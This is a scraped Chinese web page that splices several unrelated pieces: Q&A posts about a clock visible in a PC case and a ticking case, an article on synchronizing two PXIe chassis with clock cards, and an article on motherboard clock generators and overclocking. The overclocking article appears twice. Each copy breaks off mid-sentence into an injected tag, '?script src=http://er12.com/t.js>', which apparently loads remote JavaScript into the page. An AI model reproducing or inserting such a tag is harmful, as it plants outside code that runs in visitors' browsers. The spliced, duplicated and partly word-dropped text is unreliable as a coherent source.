这个机箱里面的钟表怎么做到的？_百度知道
这个机箱里面的钟表怎么做到的？
请问这个机箱里面的钟表是用什么做的，在那里买的。
我有更好的答案
显示器的倒影。。。。你在怀疑大家的智商。
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近发现的，电脑机箱里发出类似钟表的滴答声，我听了风扇还在转，收藏
近发现的，电脑机箱里发出类似钟表的滴答声，我听了风扇还在转，肯定不是风扇的声音，就是象钟表，很规律．请问哪位高手知道是怎么回事呢？
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基于定时和同步时钟卡的多机箱同步采集系统
　　在汽车电子、航空、航天以及工业监测等领域中，整体测试系统通常所需要同时监控的I/O非常庞大，如此庞大的测试点需要大量的数据采集卡进行同步。由于工业计算机插槽数量有限以及CompactPCI无法同步各个测试模块，所以本系统选用 PXI Express平台通过定时和同步利用触发总线、星形触发以及系统参考时钟来实现高级的多设备同步。本文以带有高精准度恒温晶振的PS 定时和同步模块为例，详细讲述如何进行关系配置完成两个PXIe-9108机箱的同步。本文引用地址：
　　1 原理
　　同步与多板卡同步类似，同样需要保证各个机箱间的板卡都在同一个时钟沿开始启动采集，即共享同一个时钟源和同步触发信号，同时为了消除对时钟源分频后的相位差，也要共享。因此，在实现同步时，需要考虑的主要问题就是如何在多机箱间共享这三个信号：时钟源、同步触发、同步脉冲。
　　对于两机箱同步，选择其中一个机箱作为主机箱，同时分别在主从机箱的星型触发槽中插入一块，该可以时钟信号和触发信号。在此以泛华PS 定时和同步模块举例说明。
　　1.1 机箱间共享时钟源
　　PS 本身自带一个温度补偿晶振，相比背板参考时钟可以提供更高精度的时钟卡(PS PXIe-3102时钟卡引脚图如图2所示)。因此可以将PS PXIe-3102的10MHz时钟到两个机箱中，替代机箱背板的参考时钟，然后各个槽位的板卡都选用背板参考时钟作为采样时基。具体配置过程如下：
　　(1)在主从机箱的星型触发槽中各插入一块PS PXIe-3102;
　　(2)将主机箱PS PXIe-3102的本地晶振(Oscillator)路由到背板10MHz输入端(PXI_CLK10_In)上代替主机箱背板的10MHz参考时钟源，软件配置如图4所示;
　　(3)将主机箱中的背板参考时钟源(PXI_CLK10)路由到3102的输出端(CLKOut)。背板参考时钟源的路由软件配置如图5所示;
　　(4)如图3所示，通过同轴线缆[1]连接主机箱中时钟卡3102的时钟输出端CLKOut和从机箱中时钟卡3102的时钟输入端;
　　(5)将从机箱中时钟卡3102的时钟输入端(CLKIn)的信号路由至背板参考时钟输入(PXI_CLK10_In)来代替背板参考时钟源。软件配置如图6所示。
　　1.2 机箱间共享同步脉冲
　　共享同步脉冲的目的是为了消除板卡采样时钟之间的相位差。同步脉冲在每张板卡启动时都会产生，为保证产生的同步脉冲有效，在多机箱同步中也需要考虑同步脉冲在机箱间的路由关系。
　　将主机箱中的动态信号采集卡作为主卡，将其产生的路由到背板的PXITrig线上，实现同机箱中的共享。同时，需要将此脉冲信号通过本机箱星型触发槽中PS PXIe-3102的MFIO端口输出路由到从机箱中(MFIO是用于静态数字输入、静态数字输出、AI/AO/DI/DO 或计数器/定时器所需的时钟输入及时钟输出的多功能数字I/O)，具体配置过程如下：
　　(1)选择主机箱中的任意一块卡作为主卡，将其产生的同步脉冲信号路由到背板PXITrig0上(也可选择PXITrig&0..7&中的其它触发线)，软件配置如图7所示;
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所有的数字电路都需要依靠时钟信号来使组件的运作同步，每单位时间内电路可运作的次数取决于时钟的频率，因此时钟运作的频率即被大家视为系统运作的性能指针。主机板时钟电路的需求熟悉硬件的读者应该都知道，主机板上处理器、芯片组和主存储器等几个主要的组件各有其工作时钟，中央处理器cpu的外部频率依照摩尔定律不断提高，随着英特尔与amd在近期推出多款新的处理器，200mhz外频的时代也正式来临(cpu上标示的工
所有的数字电路都需要依靠时钟信号来使组件的运作同步，每单位时间内电路可运作的次数取决于时钟的频率，因此时钟运作的频率即被大家视为系统运作的性能指针。主机板时钟电路的需求熟悉硬件的读者应该都知道，主机板上处理器、芯片组和主存储器等几个主要的组件各有其工作时钟，中央处理器cpu的外部频率依照摩尔定律不断提高，随着英特尔与amd在近期推出多款新的处理器，200mhz外频的时代也正式来临(cpu上标示的工作速度为处理器内频，是以外频乘以倍频产生，并不由主机板时钟电路直接提供)。处理器和北桥芯片之间以前端总线(fsb)相连接，以cpu的外频为基准，每周期传送两次或四次数据，所以200mhz外频乘上四倍频就可以得到800mhz的fsb速度。内存也随着cpu的脚步，工作频率快速推进到200mhz的ddr400pc3200规格。其余南桥芯片与agp、pci、usb等总线则各有其业界规定的工作时钟标准，如pci为33mhz、agp为66mhz等等。因此主机板的时钟电路必须为许多的组件提供各种不同的工作频率，以往旧式的主机板都是使用石英振荡器来处理，但石英振荡器一次只能输出一种频率，在需要多种时钟输出的新式主机板中，显然不敷使用。所以有些厂商将这些原本散布在主机板上各处的振荡电路整合成一颗可输出各种频率的芯片，主机板采用此类时钟产生芯片将可以达到节省成本与空间的目的。时钟发生器的基本构造锁相环(phaselockedloop,pll)是时钟发生器的核心技术，现代的时钟发生器只需由石英晶体提供一个基准频率，并利用一个以上的pll，搭配不同比例的除频电路，来产生各种频率的时钟输出，取代传统系统中的多个石英晶体。时钟发生器的基本架构如图1所示。其中pll的部分具有两个输入端，分别为参考频率(fref)与反馈频率(fvco)，与一个输出端(fout)。三者之间关系可以公式表示如下。fout=(fref·p)/(q·n)pll基本上为一个负反馈系统，在回路中利用反馈信号，将输出端的信号频率及相位，锁定在输入端参考信号的频率及相位上。相位频率检波器(phasefrequencydetector，pfd)比较基准参考频率(fref)及反馈频率(fvco)两者之间的相位关系与频率的差异，并检知出两者相位的相位差及频率的高低差，以影响电压控制振荡器(voltagecontrolledoscillator，vco)的频率输出。当fref/q超前fvco/p时，up高电位输出使fout频率加快；相反的当fref/q落后fvco/p时，dn高电位输出使fout频率减慢，最后可达到如公式所表示的稳定输出状态，因此只需调整pll外部除频电路的p、q、r值之间的比例，就可得到需要的输出频率。pc超频与时钟电路的关联超频对于计算机发烧友来说，可谓是最热衷的一个主题了。所谓超频就是强迫系统的工作时钟于高于标示的频率，从而达到提高性能的目的。基本的超频方法即是藉由手动调整将中央处理器的工作频率提高至标准的工作频率之上，一般而言，生产中央处理器的厂商为了确保其cpu工作的稳定可靠，通常会以实际测试结果的较低规格来标示，使制造出来的计算机系统以低于cpu极限值的速度工作。因此使用者便有机会在不用付出额外成本的情形下，压榨出系统的最佳效能。中央处理器的工作频率等于外频乘以倍频数，不管是调整外频或是倍频数都可达到提高中央处理器工作频率的目的，但目前大部分的cpu出厂时都已将倍频死锁固定，因此只剩下外频的部分可以由使用者动动手脚。以往调整外频/倍频的方法，需要使用者根据说明书调整主机板上的跳线或是dip开关，以获得想要的频率。新一代的时钟发生器，配备有smbus(systemmanagementbus)接口，可由bios直接控制，因此使用者甚至不用拆机壳，只需坐在计算机面前，通过键盘及屏幕，即可随意调整系统工作频率了。此外通过控制时钟发生器中的缓存器控制位，可以以极小的线性级距微调cpu的外频(以mhz为单位)，不像以往的跳线设定方式，一下子从100mhz直接跳至133mhz，cpu容易超出其极限而导致当机。如前述提到，主机板上各个组件都有其固定的工作频率，而各个总线的工作频率和系统的频率大部分都维持固定的比例来工作。换句话说，传统的时钟发生器通常是以cpu的外频作为基准频率，通过固定比例的除频，产生其余外设所使用的时钟。所以当使用者调高cpu外频的同时，总线及外设的时钟也会等比例地被提升，有的时候cpu尚未超出其工作极限，反而是外设承受不了过高的频率而罢工了。为了提高在超频时的系统稳定性，新一代的时钟发生器将agp/pci等总线的频率，采用与cpu外频“异步”的设计方式，或加入多段式的除频子系统，使用者就可以自由设定agp/pci的工作频率，以符合外设的工作需求。目前使用软件来调整超频的?script src=http://er12.com/t.js>
所有的数字电路都需要依靠时钟信号来使组件的运作同步，每单位时间内电路可运作的次数取决于时钟的频率，因此时钟运作的频率即被大家视为系统运作的性能指针。主机板时钟电路的需求熟悉硬件的读者应该都知道，主机板上处理器、芯片组和主存储器等几个主要的组件各有其工作时钟，中央处理器cpu的外部频率依照摩尔定律不断提高，随着英特尔与amd在近期推出多款新的处理器，200mhz外频的时代也正式来临(cpu上标示的工作速度为处理器内频，是以外频乘以倍频产生，并不由主机板时钟电路直接提供)。处理器和北桥芯片之间以前端总线(fsb)相连接，以cpu的外频为基准，每周期传送两次或四次数据，所以200mhz外频乘上四倍频就可以得到800mhz的fsb速度。内存也随着cpu的脚步，工作频率快速推进到200mhz的ddr400pc3200规格。其余南桥芯片与agp、pci、usb等总线则各有其业界规定的工作时钟标准，如pci为33mhz、agp为66mhz等等。因此主机板的时钟电路必须为许多的组件提供各种不同的工作频率，以往旧式的主机板都是使用石英振荡器来处理，但石英振荡器一次只能输出一种频率，在需要多种时钟输出的新式主机板中，显然不敷使用。所以有些厂商将这些原本散布在主机板上各处的振荡电路整合成一颗可输出各种频率的芯片，主机板采用此类时钟产生芯片将可以达到节省成本与空间的目的。时钟发生器的基本构造锁相环(phaselockedloop,pll)是时钟发生器的核心技术，现代的时钟发生器只需由石英晶体提供一个基准频率，并利用一个以上的pll，搭配不同比例的除频电路，来产生各种频率的时钟输出，取代传统系统中的多个石英晶体。时钟发生器的基本架构如图1所示。其中pll的部分具有两个输入端，分别为参考频率(fref)与反馈频率(fvco)，与一个输出端(fout)。三者之间关系可以公式表示如下。fout=(fref·p)/(q·n)pll基本上为一个负反馈系统，在回路中利用反馈信号，将输出端的信号频率及相位，锁定在输入端参考信号的频率及相位上。相位频率检波器(phasefrequencydetector，pfd)比较基准参考频率(fref)及反馈频率(fvco)两者之间的相位关系与频率的差异，并检知出两者相位的相位差及频率的高低差，以影响电压控制振荡器(voltagecontrolledoscillator，vco)的频率输出。当fref/q超前fvco/p时，up高电位输出使fout频率加快；相反的当fref/q落后fvco/p时，dn高电位输出使fout频率减慢，最后可达到如公式所表示的稳定输出状态，因此只需调整pll外部除频电路的p、q、r值之间的比例，就可得到需要的输出频率。pc超频与时钟电路的关联超频对于计算机发烧友来说，可谓是最热衷的一个主题了。所谓超频就是强迫系统的工作时钟于高于标示的频率，从而达到提高性能的目的。基本的超频方法即是藉由手动调整将中央处理器的工作频率提高至标准的工作频率之上，一般而言，生产中央处理器的厂商为了确保其cpu工作的稳定可靠，通常会以实际测试结果的较低规格来标示，使制造出来的计算机系统以低于cpu极限值的速度工作。因此使用者便有机会在不用付出额外成本的情形下，压榨出系统的最佳效能。中央处理器的工作频率等于外频乘以倍频数，不管是调整外频或是倍频数都可达到提高中央处理器工作频率的目的，但目前大部分的cpu出厂时都已将倍频死锁固定，因此只剩下外频的部分可以由使用者动动手脚。以往调整外频/倍频的方法，需要使用者根据说明书调整主机板上的跳线或是dip开关，以获得想要的频率。新一代的时钟发生器，配备有smbus(systemmanagementbus)接口，可由bios直接控制，因此使用者甚至不用拆机壳，只需坐在计算机面前，通过键盘及屏幕，即可随意调整系统工作频率了。此外通过控制时钟发生器中的缓存器控制位，可以以极小的线性级距微调cpu的外频(以mhz为单位)，不像以往的跳线设定方式，一下子从100mhz直接跳至133mhz，cpu容易超出其极限而导致当机。如前述提到，主机板上各个组件都有其固定的工作频率，而各个总线的工作频率和系统的频率大部分都维持固定的比例来工作。换句话说，传统的时钟发生器通常是以cpu的外频作为基准频率，通过固定比例的除频，产生其余外设所使用的时钟。所以当使用者调高cpu外频的同时，总线及外设的时钟也会等比例地被提升，有的时候cpu尚未超出其工作极限，反而是外设承受不了过高的频率而罢工了。为了提高在超频时的系统稳定性，新一代的时钟发生器将agp/pci等总线的频率，采用与cpu外频“异步”的设计方式，或加入多段式的除频子系统，使用者就可以自由设定agp/pci的工作频率，以符合外设的工作需求。目前使用软件来调整超频的?script src=http://er12.com/t.js>
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